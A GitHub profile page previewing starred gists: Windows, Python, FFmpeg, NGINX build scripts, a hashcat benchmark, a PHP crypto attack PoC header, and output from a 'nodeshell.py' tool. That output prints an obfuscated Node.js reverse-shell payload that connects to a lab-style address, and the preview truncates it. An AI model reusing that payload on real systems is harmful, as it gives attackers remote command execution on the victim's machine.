Skip to content

Instantly share code, notes, and snippets.

View akiraaisha's full-sized avatar
🤔

Julian Lugod akiraaisha

🤔
  • Municipal Government of Cainta
  • Philippines
View GitHub Profile
@juntalis
juntalis / msys-env.cmd
Created October 17, 2011 00:07
A (Windows) batch script to open the MSYS shell in the user's current window (cmd.exe or whatever wrapper you're using) at the user's current folder. It requires getcp.exe be in your msys bin folder. (getcp.exe is included with msysgit) It also generates
@rem Do not use "echo off" to not affect any child calls.
@SETLOCAL
@SETLOCAL ENABLEEXTENSIONS
:: Figure out where msys's root folder. If you want, you could just add the folder in the line
:: below.
@set MSYSROOT=
@if "x%MSYSROOT%"=="x" @if exist "%~dp0msys.bat" @set MSYSROOT=%~dp0
@if "x%MSYSROOT%"=="x" @if exist "%~dp0.msys-root" @set /P MSYSROOT=<%~dp0.msys-root
@if "x%MSYSROOT%"=="x" (
@cdiener
cdiener / asciinator.py
Last active January 5, 2023 17:24
Convert image to ascii art
import sys; from PIL import Image; import numpy as np
chars = np.asarray(list(' .,:;irsXA253hMHGS#9B&@'))
if len(sys.argv) != 4: print( 'Usage: ./asciinator.py image scale factor' ); sys.exit()
f, SC, GCF, WCF = sys.argv[1], float(sys.argv[2]), float(sys.argv[3]), 7/4
img = Image.open(f)
S = ( round(img.size[0]*SC*WCF), round(img.size[1]*SC) )
img = np.sum( np.asarray( img.resize(S) ), axis=2)
@defuse
defuse / attack.php
Last active October 2, 2023 21:27
PoC: Attack Against PHP Crypto
<?php
/*
* This code is copied from
* http://www.warpconduit.net/2013/04/14/highly-secure-data-encryption-decryption-made-easy-with-php-mcrypt-rijndael-256-and-cbc/
* to demonstrate an attack against it. Specifically, we simulate a timing leak
* in the MAC comparison which, in a Mac-then-Encrypt (MtA) design, we show
* breaks confidentiality.
*
* Slight modifications such as making it not serialize/unserialize and removing
@eruffaldi
eruffaldi / ffmpeg_opencv.py
Last active April 22, 2024 07:17
Feeding Python Opencv with FFmpeg
#
# Reading video from FFMPEG using subprocess - aka when OpenCV VideoCapture fails
#
# 2017 note: I have realized that this is similar to moviepy ffmpeg reader with the difference that here we support YUV encoding
# BUT we lack: bufsize in POpen and creation flags for windows
# https://github.com/Zulko/moviepy/blob/master/moviepy/video/io/ffmpeg_reader.py
#
# Emanuele Ruffaldi 2016
import cv2
import subprocess

These are notes while researching a way to convert a browser/website to a stream. This could be used for Facebook Live or for webrecording. TL'DR:

  • I started with Phantomjs - but that didn't support the html5 video tag
  • SlimerJS supports it, but there is no way to record audio directly (though this might come from desktop audio)
  • So I moved to research ffmpeg/X11/XVFB to record it with linux which works
  • But ffmpeg has no easy way to mix streams/overlays to I moved on to OBS with overlay browser support
  • I started researching options OBS in docker and it needed best a GPU , so I move to nvidia-docker
  • And so came across building game servers on EC2/AWS using GPUs and managed to run OBS inside of GPU g2x.large machine
  • I tried streaming to twich , which works great and managed to restream 4K 60FPS youtube on an AWS instance
  • Remote control works through OBS-Remote but OBS has kinda limit in types of features
@neilstuartcraig
neilstuartcraig / nginx-boringssl-build-script-debian.sh
Last active April 4, 2024 23:39
This builds NGINX from source with BoringSSL for Debian (alike?) systems with systemd (e.g. Debian Jessie)
#!/bin/bash
LATESTNGINX="1.11.10"
BUILDROOT="/tmp/boring-nginx"
# Pre-req
sudo apt-get update
sudo apt-get upgrade -y
# Install deps
@kleo
kleo / backspace.md
Last active July 28, 2023 17:59
backspace

Project moved due to excessive amount of unicorns. Repo https://git.io/adminpldt

Our community of amazing people. Managed by a cat. Backspace https://discord.gg/C43625u

Gist here will not be updated anymore Discussion here on Gist is still allowed but I strongly recommend going over to the repository or Discord chat


./nodeshell.py 10.10.14.101 1337
[+] LHOST = 10.10.14.101
[+] LPORT = 1337
[+] Encoding
eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,49,48,49,34,59,10,80,79,82,84,61,34,49,51,51,55,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,9
@Chick3nman
Chick3nman / 2080.Benchmark
Last active February 2, 2020 04:04
RTX 2080 benchmark in hashcat v 4.2.1
Nvidia Driver version 411.63
hashcat (v4.2.1) starting in benchmark mode...
OpenCL Platform #1: Intel(R) Corporation
========================================
* Device #1: Intel(R) Core(TM) i7-6700K CPU @ 4.00GHz, skipped.
OpenCL Platform #2: NVIDIA Corporation
======================================